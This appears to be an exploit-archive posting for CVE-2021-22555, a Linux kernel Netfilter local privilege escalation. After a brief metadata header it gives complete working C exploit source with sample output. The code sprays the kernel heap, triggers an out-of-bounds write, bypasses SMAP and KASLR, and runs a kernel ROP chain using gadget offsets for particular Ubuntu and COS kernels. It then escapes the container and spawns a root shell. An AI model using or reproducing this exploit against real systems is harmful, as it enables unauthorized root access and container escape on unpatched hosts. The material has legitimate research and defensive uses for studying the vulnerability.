Linux Kernel 2.6.19 < 5.9 Netfilter Local Privilege Escalation

2021.07.23
Credit: Nguyen
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/* * CVE-2021-22555: Turning \x00\x00 into 10000$ * by Andy Nguyen (theflow@) * * theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c * theflow@theflow:~$ ./exploit * [+] Linux Privilege Escalation by theflow@ - 2021 * * [+] STAGE 0: Initialization * [*] Setting up namespace sandbox... * [*] Initializing sockets and message queues... * * [+] STAGE 1: Memory corruption * [*] Spraying primary messages... * [*] Spraying secondary messages... * [*] Creating holes in primary messages... * [*] Triggering out-of-bounds write... * [*] Searching for corrupted primary message... * [+] fake_idx: ffc * [+] real_idx: fc4 * * [+] STAGE 2: SMAP bypass * [*] Freeing real secondary message... * [*] Spraying fake secondary messages... * [*] Leaking adjacent secondary message... * [+] kheap_addr: ffff91a49cb7f000 * [*] Freeing fake secondary messages... * [*] Spraying fake secondary messages... * [*] Leaking primary message... * [+] kheap_addr: ffff91a49c7a0000 * * [+] STAGE 3: KASLR bypass * [*] Freeing fake secondary messages... * [*] Spraying fake secondary messages... * [*] Freeing sk_buff data buffer... * [*] Spraying pipe_buffer objects... * [*] Leaking and freeing pipe_buffer object... * [+] anon_pipe_buf_ops: ffffffffa1e78380 * [+] kbase_addr: ffffffffa0e00000 * * [+] STAGE 4: Kernel code execution * [*] Spraying fake pipe_buffer objects... * [*] Releasing pipe_buffer objects... * [*] Checking for root... * [+] Root privileges gained. * * [+] STAGE 5: Post-exploitation * [*] Escaping container... * [*] Cleaning up... * [*] Popping root shell... * root@theflow:/# id * uid=0(root) gid=0(root) groups=0(root) * root@theflow:/# * * Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+. */ // clang-format off #define _GNU_SOURCE #include <err.h> #include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <net/if.h> #include <netinet/in.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/syscall.h> #include <linux/netfilter_ipv4/ip_tables.h> // clang-format on #define PAGE_SIZE 0x1000 #define PRIMARY_SIZE 0x1000 #define SECONDARY_SIZE 0x400 #define NUM_SOCKETS 4 #define NUM_SKBUFFS 128 #define NUM_PIPEFDS 256 #define NUM_MSQIDS 4096 #define HOLE_STEP 1024 #define MTYPE_PRIMARY 0x41 #define MTYPE_SECONDARY 0x42 #define MTYPE_FAKE 0x1337 #define MSG_TAG 0xAAAAAAAA // #define KERNEL_COS_5_4_89 1 #define KERNEL_UBUNTU_5_8_0_48 1 // clang-format off #ifdef KERNEL_COS_5_4_89 // 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx] #define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8 // 0xffffffff815401df : pop rsp ; pop rbx ; ret #define POP_RSP_POP_RBX_RET 0x5401DF // 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret #define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65 // 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret #define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8 // 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret #define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972 // 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret #define MOV_RSP_RBP_POP_RBP_RET 0x6748C // 0xffffffff810c7c80 : pop rdx ; ret #define POP_RDX_RET 0xC7C80 // 0xffffffff8143a2b4 : pop rsi ; ret #define POP_RSI_RET 0x43A2B4 // 0xffffffff81067520 : pop rdi ; ret #define POP_RDI_RET 0x67520 // 0xffffffff8100054b : pop rbp ; ret #define POP_RBP_RET 0x54B // 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret #define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6 // 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret #define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1 #define FIND_TASK_BY_VPID 0x963C0 #define SWITCH_TASK_NAMESPACES 0x9D080 #define COMMIT_CREDS 0x9EC10 #define PREPARE_KERNEL_CRED 0x9F1F0 #define ANON_PIPE_BUF_OPS 0xE51600 #define INIT_NSPROXY 0x1250590 #elif KERNEL_UBUNTU_5_8_0_48 // 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39] #define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783 // 0xffffffff8109b6c0 : pop rsp ; ret #define POP_RSP_RET 0x9B6C0 // 0xffffffff8106db59 : add rsp, 0xd0 ; ret #define ADD_RSP_D0_RET 0x6DB59 // 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret #define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3 // 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret #define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3 // 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret #define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF // 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret #define MOV_RSP_RBP_POP_RBP_RET 0x891BC // 0xffffffff810f5633 : pop rcx ; ret #define POP_RCX_RET 0xF5633 // 0xffffffff811abaae : pop rsi ; ret #define POP_RSI_RET 0x1ABAAE // 0xffffffff81089250 : pop rdi ; ret #define POP_RDI_RET 0x89250 // 0xffffffff810005ae : pop rbp ; ret #define POP_RBP_RET 0x5AE // 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret #define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894 // 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret #define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB #define FIND_TASK_BY_VPID 0xBFBC0 #define SWITCH_TASK_NAMESPACES 0xC7A50 #define COMMIT_CREDS 0xC8C80 #define PREPARE_KERNEL_CRED 0xC9110 #define ANON_PIPE_BUF_OPS 0x1078380 #define INIT_NSPROXY 0x1663080 #else #error "No kernel version defined" #endif // clang-format on #define SKB_SHARED_INFO_SIZE 0x140 #define MSG_MSG_SIZE (sizeof(struct msg_msg)) #define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg)) struct msg_msg { uint64_t m_list_next; uint64_t m_list_prev; uint64_t m_type; uint64_t m_ts; uint64_t next; uint64_t security; }; struct msg_msgseg { uint64_t next; }; struct pipe_buffer { uint64_t page; uint32_t offset; uint32_t len; uint64_t ops; uint32_t flags; uint32_t pad; uint64_t private; }; struct pipe_buf_operations { uint64_t confirm; uint64_t release; uint64_t steal; uint64_t get; }; struct { long mtype; char mtext[PRIMARY_SIZE - MSG_MSG_SIZE]; } msg_primary; struct { long mtype; char mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; } msg_secondary; struct { long mtype; char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE]; } msg_fake; void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, uint64_t m_ts, uint64_t next) { msg->m_list_next = m_list_next; msg->m_list_prev = m_list_prev; msg->m_type = MTYPE_FAKE; msg->m_ts = m_ts; msg->next = next; msg->security = 0; } int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) { *(long *)msgp = msgtyp; if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) { perror("[-] msgsnd"); return -1; } return 0; } int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) < 0) { perror("[-] msgrcv"); return -1; } return 0; } int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) { perror("[-] msgrcv"); return -1; } return 0; } int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) { for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (write(ss[i][0], buf, size) < 0) { perror("[-] write"); return -1; } } } return 0; } int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) { for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (read(ss[i][1], buf, size) < 0) { perror("[-] read"); return -1; } } } return 0; } int trigger_oob_write(int s) { struct __attribute__((__packed__)) { struct ipt_replace replace; struct ipt_entry entry; struct xt_entry_match match; char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2]; struct xt_entry_target target; } data = {0}; data.replace.num_counters = 1; data.replace.num_entries = 1; data.replace.size = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target)); data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target)); data.entry.target_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); strcpy(data.match.u.user.name, "icmp"); data.match.u.user.revision = 0; data.target.u.user.target_size = sizeof(data.target); strcpy(data.target.u.user.name, "NFQUEUE"); data.target.u.user.revision = 1; // Partially overwrite the adjacent buffer with 2 bytes of zero. if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) { if (errno == ENOPROTOOPT) { printf("[-] Error ip_tables module is not loaded.\n"); return -1; } } return 0; } // Note: Must not touch offset 0x10-0x18. void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) { uint64_t *rop; #ifdef KERNEL_COS_5_4_89 *(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET; rop = (uint64_t *)&buf[0x18]; // Save RBP at scratchpad_addr. *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET; *rop++ = scratchpad_addr; // R14 *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBX *rop++ = 0xDEADBEEF; // R14 *rop++ = 0xDEADBEEF; // RBP // commit_creds(prepare_kernel_cred(NULL)) *rop++ = kbase_addr + POP_RDI_RET; *rop++ = 0; // RDI *rop++ = kbase_addr + PREPARE_KERNEL_CRED; *rop++ = kbase_addr + POP_RDX_RET; *rop++ = 1; // RDX *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + COMMIT_CREDS; // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) *rop++ = kbase_addr + POP_RDI_RET; *rop++ = 1; // RDI *rop++ = kbase_addr + FIND_TASK_BY_VPID; *rop++ = kbase_addr + POP_RDX_RET; *rop++ = 1; // RDX *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + POP_RSI_RET; *rop++ = kbase_addr + INIT_NSPROXY; // RSI *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; // Load RBP from scratchpad_addr and resume execution. *rop++ = kbase_addr + POP_RBP_RET; *rop++ = scratchpad_addr - 0x25; // RBP *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET; *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; #elif KERNEL_UBUNTU_5_8_0_48 *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET; *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET; rop = (uint64_t *)&buf[0xD8]; // Save RBP at scratchpad_addr. *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET; *rop++ = scratchpad_addr; // R12 *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBX *rop++ = 0xDEADBEEF; // R12 *rop++ = 0xDEADBEEF; // RBP // commit_creds(prepare_kernel_cred(NULL)) *rop++ = kbase_addr + POP_RDI_RET; *rop++ = 0; // RDI *rop++ = kbase_addr + PREPARE_KERNEL_CRED; *rop++ = kbase_addr + POP_RCX_RET; *rop++ = 4; // RCX *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; *rop++ = kbase_addr + COMMIT_CREDS; // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) *rop++ = kbase_addr + POP_RDI_RET; *rop++ = 1; // RDI *rop++ = kbase_addr + FIND_TASK_BY_VPID; *rop++ = kbase_addr + POP_RCX_RET; *rop++ = 4; // RCX *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; *rop++ = kbase_addr + POP_RSI_RET; *rop++ = kbase_addr + INIT_NSPROXY; // RSI *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; // Load RBP from scratchpad_addr and resume execution. *rop++ = kbase_addr + POP_RBP_RET; *rop++ = scratchpad_addr - 0xA; // RBP *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET; *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; #endif } int setup_sandbox(void) { if (unshare(CLONE_NEWUSER) < 0) { perror("[-] unshare(CLONE_NEWUSER)"); return -1; } if (unshare(CLONE_NEWNET) < 0) { perror("[-] unshare(CLONE_NEWNET)"); return -1; } cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set); if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { perror("[-] sched_setaffinity"); return -1; } return 0; } int main(int argc, char *argv[]) { int s; int fd; int ss[NUM_SOCKETS][2]; int pipefd[NUM_PIPEFDS][2]; int msqid[NUM_MSQIDS]; char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE]; char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE]; struct msg_msg *msg; struct pipe_buf_operations *ops; struct pipe_buffer *buf; uint64_t pipe_buffer_ops = 0; uint64_t kheap_addr = 0, kbase_addr = 0; int fake_idx = -1, real_idx = -1; printf("[+] Linux Privilege Escalation by theflow@ - 2021\n"); printf("\n"); printf("[+] STAGE 0: Initialization\n"); printf("[*] Setting up namespace sandbox...\n"); if (setup_sandbox() < 0) goto err_no_rmid; printf("[*] Initializing sockets and message queues...\n"); if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("[-] socket"); goto err_no_rmid; } for (int i = 0; i < NUM_SOCKETS; i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { perror("[-] socketpair"); goto err_no_rmid; } } for (int i = 0; i < NUM_MSQIDS; i++) { if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) { perror("[-] msgget"); goto err_no_rmid; } } printf("\n"); printf("[+] STAGE 1: Memory corruption\n"); printf("[*] Spraying primary messages...\n"); for (int i = 0; i < NUM_MSQIDS; i++) { memset(&msg_primary, 0, sizeof(msg_primary)); *(int *)&msg_primary.mtext[0] = MSG_TAG; *(int *)&msg_primary.mtext[4] = i; if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < 0) goto err_rmid; } printf("[*] Spraying secondary messages...\n"); for (int i = 0; i < NUM_MSQIDS; i++) { memset(&msg_secondary, 0, sizeof(msg_secondary)); *(int *)&msg_secondary.mtext[0] = MSG_TAG; *(int *)&msg_secondary.mtext[4] = i; if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), MTYPE_SECONDARY) < 0) goto err_rmid; } printf("[*] Creating holes in primary messages...\n"); for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) { if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < 0) goto err_rmid; } printf("[*] Triggering out-of-bounds write...\n"); if (trigger_oob_write(s) < 0) goto err_rmid; printf("[*] Searching for corrupted primary message...\n"); for (int i = 0; i < NUM_MSQIDS; i++) { if (i != 0 && (i % HOLE_STEP) == 0) continue; if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0) goto err_no_rmid; if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) { printf("[-] Error could not corrupt any primary message.\n"); goto err_no_rmid; } if (*(int *)&msg_secondary.mtext[4] != i) { fake_idx = i; real_idx = *(int *)&msg_secondary.mtext[4]; break; } } if (fake_idx == -1 && real_idx == -1) { printf("[-] Error could not corrupt any primary message.\n"); goto err_no_rmid; } // fake_idx's primary message has a corrupted next pointer; wrongly // pointing to real_idx's secondary message. printf("[+] fake_idx: %x\n", fake_idx); printf("[+] real_idx: %x\n", real_idx); printf("\n"); printf("[+] STAGE 2: SMAP bypass\n"); printf("[*] Freeing real secondary message...\n"); if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary), MTYPE_SECONDARY) < 0) goto err_rmid; // Reclaim the previously freed secondary message with a fake msg_msg of // maximum possible size. printf("[*] Spraying fake secondary messages...\n"); memset(secondary_buf, 0, sizeof(secondary_buf)); build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, PAGE_SIZE - MSG_MSG_SIZE, 0); if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) goto err_rmid; // Use the fake secondary message to read out-of-bounds. printf("[*] Leaking adjacent secondary message...\n"); if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) goto err_rmid; // Check if the leak is valid. if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) { printf("[-] Error could not leak adjacent secondary message.\n"); goto err_rmid; } // The secondary message contains a pointer to the primary message. msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; kheap_addr = msg->m_list_next; if (kheap_addr & (PRIMARY_SIZE - 1)) kheap_addr = msg->m_list_prev; printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr); if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) { printf("[-] Error kernel heap address is incorrect.\n"); goto err_rmid; } printf("[*] Freeing fake secondary messages...\n"); free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); // Put kheap_addr at next to leak its content. Assumes zero bytes before // kheap_addr. printf("[*] Spraying fake secondary messages...\n"); memset(secondary_buf, 0, sizeof(secondary_buf)); build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) goto err_rmid; // Use the fake secondary message to read from kheap_addr. printf("[*] Leaking primary message...\n"); if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) goto err_rmid; // Check if the leak is valid. if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) { printf("[-] Error could not leak primary message.\n"); goto err_rmid; } // The primary message contains a pointer to the secondary message. msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE]; kheap_addr = msg->m_list_next; if (kheap_addr & (SECONDARY_SIZE - 1)) kheap_addr = msg->m_list_prev; // Calculate the address of the fake secondary message. kheap_addr -= SECONDARY_SIZE; printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr); if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) { printf("[-] Error kernel heap address is incorrect.\n"); goto err_rmid; } printf("\n"); printf("[+] STAGE 3: KASLR bypass\n"); printf("[*] Freeing fake secondary messages...\n"); free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); // Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible. printf("[*] Spraying fake secondary messages...\n"); memset(secondary_buf, 0, sizeof(secondary_buf)); build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0); if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) goto err_rmid; printf("[*] Freeing sk_buff data buffer...\n"); if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0) goto err_rmid; printf("[*] Spraying pipe_buffer objects...\n"); for (int i = 0; i < NUM_PIPEFDS; i++) { if (pipe(pipefd[i]) < 0) { perror("[-] pipe"); goto err_rmid; } // Write something to populate pipe_buffer. if (write(pipefd[i][1], "pwn", 3) < 0) { perror("[-] write"); goto err_rmid; } } printf("[*] Leaking and freeing pipe_buffer object...\n"); for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { perror("[-] read"); goto err_rmid; } if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10]; } } kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS; printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops); printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr); if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) { printf("[-] Error kernel base address is incorrect.\n"); goto err_rmid; } printf("\n"); printf("[+] STAGE 4: Kernel code execution\n"); printf("[*] Spraying fake pipe_buffer objects...\n"); memset(secondary_buf, 0, sizeof(secondary_buf)); buf = (struct pipe_buffer *)&secondary_buf; buf->ops = kheap_addr + 0x290; ops = (struct pipe_buf_operations *)&secondary_buf[0x290]; #ifdef KERNEL_COS_5_4_89 // RAX points to &buf->ops. // RCX points to &buf. ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX; #elif KERNEL_UBUNTU_5_8_0_48 // RSI points to &buf. ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39; #endif build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0); if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) goto err_rmid; // Trigger pipe_release(). printf("[*] Releasing pipe_buffer objects...\n"); for (int i = 0; i < NUM_PIPEFDS; i++) { if (close(pipefd[i][0]) < 0) { perror("[-] close"); goto err_rmid; } if (close(pipefd[i][1]) < 0) { perror("[-] close"); goto err_rmid; } } printf("[*] Checking for root...\n"); if ((fd = open("/etc/shadow", O_RDONLY)) < 0) { printf("[-] Error could not gain root privileges.\n"); goto err_rmid; } close(fd); printf("[+] Root privileges gained.\n"); printf("\n"); printf("[+] STAGE 5: Post-exploitation\n"); printf("[*] Escaping container...\n"); setns(open("/proc/1/ns/mnt", O_RDONLY), 0); setns(open("/proc/1/ns/pid", O_RDONLY), 0); setns(open("/proc/1/ns/net", O_RDONLY), 0); printf("[*] Cleaning up...\n"); for (int i = 0; i < NUM_MSQIDS; i++) { // TODO: Fix next pointer. if (i == fake_idx) continue; if (msgctl(msqid[i], IPC_RMID, NULL) < 0) perror("[-] msgctl"); } for (int i = 0; i < NUM_SOCKETS; i++) { if (close(ss[i][0]) < 0) perror("[-] close"); if (close(ss[i][1]) < 0) perror("[-] close"); } if (close(s) < 0) perror("[-] close"); printf("[*] Popping root shell...\n"); char *args[] = {"/bin/bash", "-i", NULL}; execve(args[0], args, NULL); return 0; err_rmid: for (int i = 0; i < NUM_MSQIDS; i++) { if (i == fake_idx) continue; if (msgctl(msqid[i], IPC_RMID, NULL) < 0) perror("[-] msgctl"); } err_no_rmid: return 1; }


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